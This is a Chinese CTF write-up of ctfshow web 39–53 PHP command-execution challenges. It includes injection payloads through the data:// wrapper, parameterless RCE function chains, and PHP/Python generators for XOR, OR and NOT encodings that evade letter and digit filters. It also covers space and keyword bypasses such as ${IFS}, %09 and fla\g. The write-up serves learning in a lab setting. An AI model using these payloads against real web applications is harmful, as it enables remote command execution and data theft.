CTFSHOW-WEB入门-命令执行39-53

  1. 题目:web 39
    1. 题目:
    2. 解题思路:分析代码可以知道题目要求get一个c的参数,并且·过滤了flag,大小写均过滤,于是可以想到使用?或者*通配符绕过。这里有include函数,由于include是个漏洞函数,并且只会解析<?php?>中的内容,?>相当于是PHP的结束符,后面的.php相当于被注释掉了,于是构造payload:?c=data://text/plain,<?php system('cat f*');?>;可以得到flag:flag:
    3. 知识点:data伪协议的利用:注意,后面接拼接的这种最好不要使用base64加密,(多次尝试无果)
  2. 题目:web 40-----无参数rce
    1. 题目:
    2. 解题思路:初看题目,发现过滤了很多东西不知道从何下手,先分析·一下代码,参数c过滤的东西有:
      • 数字0-9 波浪线~ 反引号`` @符号 #符号
      • 美元符号$(注意这里使用了双反斜杠\\来转义单反斜杠)
      • 和号& 星号* 全角左括号 全角右括号-----中文括号
      • 减号- 等号= 加号+ 左大括号{ 左方括号[ 右方括号] 右大括号}
      • 冒号: 单引号' 百分号% 脱字符^
      • 双引号" 逗号, 小于号< 点号. 大于号> 斜杠/
      • 问号? 反斜杠\(这里用了四个反斜杠\\\\来转义)
    3. 注意:这里过滤的是中文的括号,说明英文的括号还可以用。看了大佬的wp,了解到一个东西—无参数rce,首先介绍一下无参数rce是什么?无参数是指不需要有参数的函数,通过多个函数套娃调用,得到自己想要的结果。
    4. 这里我们查看当前目录:c=highlight_file(array_rand(array_flip(scandir(getcwd())))); payload解析:最内层得到当前工作目录并且返回,然后又通过scandir返回当前目录构成的数组,由于以数组的形式返回,键默为数字,值为目录名,要获得目录名,就要反转键和值的值,因此使用array_filp,反转键值,由于目录可能不止一个,因此数组中键值对也不止一个,这里使用array_rand() 随机从数组中取出一个值,在使用highlight_file进行高亮显示得到:
    5. 得到flag:
    6. 知识点:无参数rce使用到的函数汇总:
scandir() //返回当前目录构成的数组
localeconv() //一个数组,第一个值为.,很重要
getcwd() //获取当前工作的目录,无需参数
dirname() //获取某文件工作的目录
array_flip() //交换数组的键和值,返回交换后的数组
array_rand() //随机从数组中取出一个值
array_reverse() //将数组内容翻转
strrev() //翻转字符串
chdir() //改变工作目录
eval();assert();system() //命令执行
highlight_file();show_source();readfile() //读文件
在php程序运行时数组内部会有指针,而通过操控这些指针的指向我们可以控制输出的结果.起始的时候指针指向第一个元素.
end() //指向最后一个元素并返回
reset() //指向第一个元素并返回
next() //指向下一个元素并返回
prev() //指向上一个元素并返回
current() //指向当前元素并返回
highlight_file(array_rand(array_flip(scandir(getcwd())))); //查看和读取当前目录文件
print_r(scandir(dirname(getcwd()))); //查看上一级目录的文件
print_r(scandir(next(scandir(getcwd()))));  //查看上一级目录的文件
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd()))))))); //读取上级目录文件
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));//读取上级目录文件
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));//读取上级目录文件
show_source(array_rand(array_flip(scandir(chr(current(localtime(time(chdir(next(scandir(current(localeconv()))))))))))));//这个得爆破,不然手动要刷新很久,如果文件是正数或倒数第一个第二个最好不过了,直接定位,查看和读取根目录文件
  1. 题目:web 41—无数字字母rce
    1. 题目:
    2. 解题思路:首先分析代码,可知参数过滤了: 任何数字(0-9)、小写字母(a-z)、以及一系列特殊字符(^、+、~、、[、]、{、}、&、-),作为一个新手,看到这个仍然没有任何思路,查阅大佬的wp,有了解了无数字字母rce这个新奇玩意无数字字母rce就是过滤了数字字母的命令执行问题。先看一下无数字字母rce的原理:由于过滤了数字字母,于是就要想着不使用数字字母进行命令执行,常见的几种绕过方法:
      1. 异或:PHP中的异或是现将两个字符转换为ASCII码值,转换为二进制,然后再进行异或运算,运算规则是 相同的为零,不同为1,也就是:1^0=1 1^1=0 0^0=0,举个栗子:大家知道A的ASCII码值是65,二进制为01000001, 可以通过其他字符的ASCII码值按位异或出来,异或脚本:(根据题目的这个正则表达式生成各个字符对应的异或绕过编码)
<?php

  /*author yu22x*/

  $myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
  for ($j=0; $j <256 ; $j++) { 

    if($i<16){
      $hex_i='0'.dechex($i);
    }
    else{
      $hex_i=dechex($i);
    }
    if($j<16){
      $hex_j='0'.dechex($j);
    }
    else{
      $hex_j=dechex($j);
    }
    $preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
    if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
      echo "";
    }

    else{
      $a='%'.$hex_i;
      $b='%'.$hex_j;
      $c=(urldecode($a)^urldecode($b));
      if (ord($c)>=32&ord($c)<=126) {
        $contents=$contents.$c." ".$a." ".$b."\n";
      }
    }

  }
}
fwrite($myfile,$contents);
fclose($myfile);

使用py脚本构造payload:

from sys import *

def action(arg):
    s1=""
    s2=""
    for i in arg:
        f=open("xor_rce.txt","r")
        while True:
            t=f.readline()
            if t=="":
                break
            if t[0]==i:
                #print(i)
                s1+=t[2:5]
                s2+=t[6:9]
                break
        f.close()
    output="(\""+s1+"\"|\""+s2+"\")"
    return(output)

fun="system"
cmd="ls"
print("function:"+action(fun))
print("cmd:"+action(cmd))
    2. 或:与异或的思路差不多L:或的脚本:
<?php

  /* author yu22x */

  $myfile = fopen("or_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
  for ($j=0; $j <256 ; $j++) { 

    if($i<16){
      $hex_i='0'.dechex($i);
    }
    else{
      $hex_i=dechex($i);
    }
    if($j<16){
      $hex_j='0'.dechex($j);
    }
    else{
      $hex_j=dechex($j);
    }
    $preg = '/[0-9a-z]/i';//根据题目给的正则表达式修改即可
    if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
      echo "";
    }

    else{
      $a='%'.$hex_i;
      $b='%'.$hex_j;
      $c=(urldecode($a)|urldecode($b));
      if (ord($c)>=32&ord($c)<=126) {
        $contents=$contents.$c." ".$a." ".$b."\n";
      }
    }

  }
}
fwrite($myfile,$contents);
fclose($myfile);

    3. 取反: 因为取反的话,基本上用的都是一个不可见字符,所有不会触发到[正则表达式](https://so.csdn.net/so/search?q=%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F&spm=1001.2101.3001.7020),我们一个php脚本就可以了  : php可以对汉字取反获得乱码,但大多数会包含一个字母  
<?php
//在命令行中运行

/*author yu22x*/

fwrite(STDOUT,'[+]your function: ');

$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 

fwrite(STDOUT,'[+]your command: ');

$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 

echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

    4. 临时文件上传:还没学到,后面补充
    5. 自增:还没学到,后面补充
3. 知识点:无字母数字rce
  1. 题目:web 42
    1. 题目:
    2. 解题思路:可以看到本题是一个命令执行问题,仅仅在参数c后面添加了一串字符串,他的作用是:>/dev/null 2>&1 使得所有输出都无法回显,于是采用分隔符绕过,?c=ls; c=cat f*;分号换为||也可
    3. 知识点:重定向输出:>/dev/null 2>&1绕过方法: ; //分号 | //只执行后面那条命令 || //只执行前面那条命令 & //两条命令都会执行 && //两条命令都会执行
">/dev/null 2>&1 "是什么意思
在Linux中:
0:表示键盘输入(stdin)
1:表示标准输出(stdout),系统默认是1
2:表示错误输出(stderr)
shell命令:command >/dev/null 2>&1 & 等同于 command 1>/dev/null 2>&1 &
1)command:表示shell命令或一个可执行的程序
2)>:表示重定向到
3)/dev/null:表示Linux的空设备文件
4)2:表示标准错误输出
5)&1:&表示等同于的意思,2>&1,表示2的输出重定向等同于1的重定向
6)&:表示后台执行这条指令
1>/dev/null:表示标准输出重定向到空设备文件,即不输出任何信息到终端。
2>&1:表示错误输出重定向等同于标准输出,因为之前标准输出已经重定向到了空设备文件,所以错误输出也重定向到空设备文件。
上述例子中的shell命令的意思就是在后台执行这个程序,并将错误输出2重定向到标准输出1,然后将标准输出1全部放到/dev/null文件,也就是清空.(shell命令:command >/dev/null 2>&1 & 等同于 command 1>/dev/null 2>&1 &" >/dev/null 2>&1 "常用来避免shell命令或者程序等运行中有内容输出。
  1. 题目:web 43
    1. 题目:
    2. 解题思路:这道题跟上一道题多过滤了分号和cat,我们可以使用||,同样可以执行前面的命令,cat可以换为tac:查看flag:
    3. 知识点:分隔符绕过重定向符
  2. 题目:web 44
    1. 题目:
    2. 解题思路:与上题类似,使用cat替代命令tac flag替代表示:f* 分隔符用||
  3. 题目:web 45
    1. 题目:
    2. 解题思路:相较于上题目多了个绕过空格:于是使用空格替代: ${IFS}
    3. 知识点:空格绕过的几种方法:
<1>${IFS},Linux下有一个特殊的环境变量叫做IFS,叫做内部字段分隔符(internal field separator)。IFS环境变量定义了bash shell用户字段分隔符的一系列字符。默认情况下,bash shell会将下面的字符当做字段分隔符:空格、制表符、换行符。

<2>${IFS}$9#$9可改成$加其他数字。
  $IFS也可以

<3>{cat,flag.php},用,实现了空格;指令中的{}通配符,shell会先把{}的内容按照解释方式翻译成一个或多个参数,再执行该含有多参数的指令。在Linux bash中可以使用{OS_COMMAND,ARGUMENT}来执行系统命令,如{mv,文件1,文件2}<4><,输入重定向,将一个文件的内容作为命令的输入。

<5><>,重定向符

<6>%20,代表空格字符,URL传递

<7>%09,tab键,URL传递

<8>%0a,代表换行符

<9>%0c,换页符

<10>%0d,回车换行

<11>%a0,代表的是非断行空格

<12>%00%00代表的是ASCII码中的空字符
  1. 题目:web 46
    1. 题目:
    2. 解题思路:相较于上一题,空格的过滤更加严格,过滤了$ * 和数字,于是尝试另几种方法,绕过空格:对于flag过滤了*,可以使用?或者’’ “”或者 \转义
      1. 使用%09 ?c=tac%09fla???||
      2. 使用< ?c=tac<fla\g.php||-----这里<(将文件 flag.php 的内容作为 tac 命令的输入,并反向显示文件内容 )和?同时使用不起作用,可以使用反斜杠转义
    3. 知识点:这里有一个需要注意的点:为什么 %09 没有被正则匹配检测到?09 不是数字吗?

注意:我们传入的 c=%09 是 URL 编码,在 URL 编码中,%09 表示 ASCII 编码中的水平制表符(Tab 键),而不是数字 ‘0’ 和 ‘9’。当服务器接收到请求时,它会对 URL 编码的参数进行解码,因此 c=%09 解析后会变成 c=\t,其中 \t 是水平制表符。

也就是说我们的正则匹配在 URL 解码之后才进行,所以不会被检测到。

  1. 题目:web 47

a. 题目:

b. 解题思路:分析题目发现比上一个题过滤了很多命令:more head sort tail less等命令但是tac仍然可以使用:仍然使用上题的payload:?c=tac<fla\g.php||:

c. 知识点:这里补充一下题目里面过滤的其他命令及其用法:

1. more
more命令用于分页显示文件的内容,可以逐屏查看文本文件。
用法:
more filename
特点:
使用空格键翻页,使用Enter键逐行查看。
按q退出。
2. head
head命令用于显示文件的开头部分,默认情况下显示前10行。
用法:
head filename
选项:
-n <num>:指定要显示的行数。
head -n 5 filename  # 显示前5行
3. sort
sort命令用于对文本文件中的行进行排序。可以按字典顺序、数值顺序等方式排序。
用法:
sort filename
选项:
-r:按降序排序。
-n:按数值排序。
-k <col>:按指定列排序。
sort -r filename            # 降序排序
sort -n filename             # 按数值排序
sort -k 2 filename           # 按第2列排序
4. tail
tail命令用于显示文件的尾部内容,默认情况下显示最后10行。
用法:
tail filename
选项:
-n <num>:指定要显示的行数。
tail -n 5 filename  # 显示最后5行
-f:实时跟踪文件的变化,适合观察日志文件。
tail -f filename  # 实时输出文件追加的内容
5. less
less命令用于分页查看文件,类似于more,但功能更强大。
用法:
less filename
特点:
支持向上和向下滚动,使用箭头键、Page Up、Page Down、g(去往开头)、G(去往结尾)等操作。
通过 / 进行搜索,按 n 移动到下一个匹配项。
按q退出。
6. nl
nl命令用于显示文件内容,同时为每一行添加行号。
nl filename
7. awk
awk是一种强大的文本处理工具,可以用于显示文件内容,也可以进行格式化显示。
awk '{print}' filename
8. sed
sed可以用来进行文本流编辑,使用情况下也可以用于显示文件。
sed '' filename
9. printf
在某些情况下,你可以结合printf命令使用。
printf "%s\n" $(<filename)
10. find和xargs
结合find和xargs命令可以处理一系列文件。
find . -name '*.txt' -print0 | xargs -0 cat
  1. 题目:web 48

a. 题目:

b. 解题思路:分析代码可以知道,本题又多过滤了sed cut awk strings od curl命令,但是仍然没有过滤tac,仍然使用上一题payload:c=tac<fla\g.php||:

c. 知识点:对新遇到的命令进行补充:

1. sed
sed 是一个流编辑器,通过对输入流进行处理生成输出。
基本语法:
sed [OPTION]... [SCRIPT] [INPUTFILE...]
示例:
替换字符串:
sed 's/old/new/g' filename
删除空行:
sed '/^$/d' filename
2. cut
cut 用于提取文本中指定的字段。
基本语法:
cut OPTION... [FILE...]
示例:
提取以逗号为分隔符的第二列:
cut -d ',' -f 2 filename
3. awk
awk 是一个强大的文本处理工具,可以进行复杂的数据操作。
基本语法:
awk [OPTION]... 'PROGRAM' [INPUTFILE...]
示例:
打印文件的第一和第三列:
awk '{print \$1, \$3}' filename
以逗号为分隔符打印第二列:
awk -F ',' '{print \$2}' filename
4. strings
strings 用于提取文件中的可打印字符串。
基本语法:
strings [OPTION]... [FILE...]
示例:
从二进制文件中提取可打印字符串:
strings mybinaryfile
5. od
od 用于以不同进制格式查看文件的内容。
基本语法:
od [OPTION]... [FILE...]
示例:
以十六进制格式查看文件内容:
od -t x1 filename
6. curl
curl 用于与服务器进行数据传输。
基本语法:
curl [OPTION] [URL...]
示例:
下载指定 URL 的内容:
curl http://example.com
下载文件并保存为本地文件:
curl -O http://example.com/file.zip
发送 POST 请求:
curl -d "param1=value1&param2=value2" http://example.com/api
  1. 题目:web 49

a. 题目:

b. 解题思路:分析代码可以知道,这题比上一题多过滤了反引号,百分号,也就是再对命令进行限制的同时也对空格进行了限制:于是我们使用tac 空格使用<> ?c=tac<>fla\g.php||

  1. 题目:web 50

a. 题目:

b. 解题思路:分析可知题目又多过滤了制表符和&符号,这里空格可以使用<>进行绕过,?c=tac<>fla\g.php||:

  1. 题目:web 51

a. 题目:

b. 解题思路:这道题比上一个多了tac命令过滤,于是就使用替代命令nl;构造payload:?c=nl<>fla\g.php:没有直接显示:查看源代码:

  1. 题目:web 52
    a. 题目:
    b. 解题思路:没有禁用 符号和 于是可以利用 符号和{}于是可以利用 符号和于是可以利用{IFS}过滤空格。构造payload:?c=nl${IFS}fla\g.php:发现有些小问题,查看一下目录:有flag.php但是没有我们想要的东西,于是查看根目录:发现还有flag:于是查看,得到flag:
  2. 题目:web 53
    a. 题目:
    b. 解题思路:题目过滤了很多东西,但是没有过滤引号和 , 因此使用 ,因此使用 ,因此使用{IFS}来绕过空格,使用引号来绕过cat ?c=ca’'t${IFS}fla\g.php:
    c. 知识点:空格绕过 反斜杆绕过

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/961576.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

OpenCSG月度更新2025.1

1月的OpenCSG取得了一些亮眼的成绩 在2025年1月&#xff0c;OpenCSG在产品和社区方面继续取得了显著进展。产品方面&#xff0c;推出了AutoHub浏览器自动化助手&#xff0c;帮助用户提升浏览体验&#xff1b;CSGHub企业版功能全面升级&#xff0c;现已开放试用申请&#xff0c…

HTML(快速入门)

欢迎大家来到我的博客~欢迎大家对我的博客提出指导&#xff0c;有错误的地方会改进的哦~点击这里了解更多内容 目录 一、前言二、HTML基础2.1 什么是HTML?2.2 认识HTML标签2.2.1 HTML标签当中的基本结构2.2.2 标签层次结构 2.3 HTML常见标签2.3.1 标题标签2.3.2 段落标签2.3.3…

二叉树-堆(补充)

二叉树-堆 1.二叉树的基本特性2.堆2.1.堆的基本概念2.2.堆的实现2.2.1.基本结构2.2.2.堆的初始化2.2.3.堆的销毁2.2.4.堆的插入2.2.5.取出堆顶的数据2.2.6.堆的删除2.2.7.堆的判空2.2.8.堆的数据个数2.2.9.交换2.2.10.打印堆数据2.2.11.堆的创建2.2.12.堆排序2.2.13.完整代码 3…

JVM01_概述、跨平台原理、分类、三大商业虚拟机

①. 什么是JVM&#xff1f; ①. JVM 是 java虚拟机&#xff0c;是用来执行java字节码(二进制的形式)的虚拟计算机 ②. jvm是运行在操作系统之上的&#xff0c;与硬件没有任何关系 ②. Java的跨平台及原理 ①. 跨平台&#xff1a;由Java编写的程序可以在不同的操作系统上运行&am…

实现基础的shell程序

1. 实现一个基础的 shell 程序&#xff0c;主要完成两个命令的功能 cp 和 ls 1.1.1. cp 命令主要实现&#xff1a; ⽂件复制⽬录复制 1.1.2. ls 命令主要实现&#xff1a; ls -l 命令的功能 1.1. 在框架设计上&#xff0c;采⽤模块化设计思想&#xff0c;并具备⼀定的可扩…

idea修改模块名导致程序编译出错

本文简单描述分别用Idea菜单、pom.xml文件管理项目模块module 踩过的坑&#xff1a; 通过idea菜单创建模块&#xff0c;并用idea菜单修改模块名&#xff0c;结构程序编译报错&#xff0c;出错的代码莫名奇妙。双击maven弹窗clean时&#xff0c;还是报错。因为模块是新建的&am…

C27.【C++ Cont】时间、空间限制和STL库的简单了解

&#x1f9e8;&#x1f9e8;&#x1f9e8;&#x1f9e8;&#x1f9e8;&#x1f9e8;&#x1f9e8;&#x1f9e8;&#x1f9e8;春节篇&#x1f9e8;&#x1f9e8;&#x1f9e8;&#x1f9e8;&#x1f9e8;&#x1f9e8;&#x1f9e8;&#x1f9e8;&#x1f9e8; 目录 1.竞赛中的…

ResNet 残差网络

目录 网络结构 残差块&#xff08;Residual Block&#xff09; ResNet网络结构示意图 残差块&#xff08;Residual Block&#xff09;细节 基本残差块&#xff08;ResNet-18/34&#xff09; Bottleneck残差块&#xff08;ResNet-50/101/152&#xff09; 残差连接类型对比 变体网…

组件框架漏洞

一.基础概念 1.组件 定义&#xff1a;组件是软件开发中具有特定功能或特性的可重用部件或模块&#xff0c;能独立使用或集成到更大系统。 类型 前端 UI 组件&#xff1a;像按钮、下拉菜单、导航栏等&#xff0c;负责构建用户界面&#xff0c;提升用户交互体验。例如在电商 AP…

电脑无法开机,重装系统后没有驱动且驱动安装失败

电脑无法开机&#xff0c;重装系统后没有驱动且驱动安装失败 前几天电脑突然坏了&#xff0c;电脑卡住后&#xff0c;强制关机&#xff0c;再开机后开机马上就关机。尝试无数次开机后失败&#xff0c;进入BIOS界面&#xff0c;发现已经没有Windows系统了。重新安装系统后&…

NLP自然语言处理通识

目录 ELMO 一、ELMo的核心设计理念 1. 静态词向量的局限性 2. 动态上下文嵌入的核心思想 3. 层次化特征提取 二、ELMo的模型结构与技术逻辑 1. 双向语言模型&#xff08;BiLM&#xff09; 2. 多层LSTM的层次化表示 三、ELMo的运行过程 1. 预训练阶段 2. 下游任务微调 四、ELMo的…

二进制安卓清单 binary AndroidManifest - XCTF apk 逆向-2

XCTF 的 apk 逆向-2 题目 wp&#xff0c;这是一道反编译对抗题。 题目背景 AndroidManifest.xml 在开发时是文本 xml&#xff0c;在编译时会被 aapt 编译打包成为 binary xml。具体的格式可以参考稀土掘金 MindMac 做的类图&#xff08;2014&#xff09;&#xff0c;下面的博…

Mac Electron 应用签名(signature)和公证(notarization)

在MacOS 10.14.5之后&#xff0c;如果应用没有在苹果官方平台进行公证notarization(我们可以理解为安装包需要审核&#xff0c;来判断是否存在病毒)&#xff0c;那么就不能被安装。当然现在很多人的解决方案都是使用sudo spctl --master-disable&#xff0c;取消验证模式&#…

stack 和 queue容器的介绍和使用

1.stack的介绍 1.1stack容器的介绍 stack容器的基本特征和功能我们在数据结构篇就已经详细介绍了&#xff0c;还不了解的uu&#xff0c; 可以移步去看这篇博客哟&#xff1a; 数据结构-栈数据结构-队列 简单回顾一下&#xff0c;重要的概念其实就是后进先出&#xff0c;栈在…

【Rust自学】15.0. 智能指针(序):什么是智能指针及Rust智能指针的特性

喜欢的话别忘了点赞、收藏加关注哦&#xff0c;对接下来的教程有兴趣的可以关注专栏。谢谢喵&#xff01;(&#xff65;ω&#xff65;) 15.0.1 指针的基本概念 指针是一个变量在内存中包含的是一个地址&#xff0c;指向另一个数据。 Rust 中最常见的指针是引用&#xff0c…

单调栈算法

文章目录 题目概述题目详解739.每日温度1475.商品折扣后的最终价格84.柱状图中最大的矩形 题目概述 单调栈&#xff1a;栈&#xff0c;并且栈是有序的 单调栈的两种写法&#xff1a; 左 -> 右&#xff0c;或者右 -> 左 建议使用左到右的写法 及时去掉无用元素&#xff0c…

vue-有关于TS与路由器

title: vue(TS)路由器 date: 2025-01-28 12:00:00 tags:- 前端 categories:- 前端Vue3-第二部分 这里是代码中出现TS的&#xff0c;后面是路由器 现在先上代码&#xff0c;步步分析。 eg1-props的使用 步步分析代码&#xff08;先理解&#xff0c;再实践&#xff09; 框架…

【AI编辑器】字节跳动推出AI IDE——Trae,专为中文开发者深度定制

目录 一、背景 二、核心特性 2.1 AI驱动的代码自动生成 2.2 智能问答与代码补全 2.3 多语言支持 2.4 插件与扩展 三、架构 四、下载使用 4.1 下载与安装 4.2 界面与配置 五、应用实践 5.1 快速生成代码 5.2 智能问答与调试 5.3 团队协作与代码审查 六、与Cursor…

(done) ABI 相关知识补充:内核线程切换、用户线程切换、用户内核切换需要保存哪些寄存器?

由于操作系统和编译器约定了 ABI&#xff0c;如下&#xff1a; 编译器在对 C 语言编译时&#xff0c;会自动 caller 标注的寄存器进行保存恢复。保存的步骤通常发生在进入函数的时候&#xff0c;恢复的步骤通常发生在从函数返回的时候。 内核线程切换需要保存的寄存器&#…

把本地搭建的hexo博客部署到自己的服务器上

配置远程服务器的git 安装git 安装依赖工具包 yum install -y curl-devel expat-devel gettext-devel openssl-devel zlib-devel安装编译工具 yum install -y gcc perl-ExtUtils-MakeMaker package下载git&#xff0c;也可以去官网下载了传到服务器上 wget https://www.ke…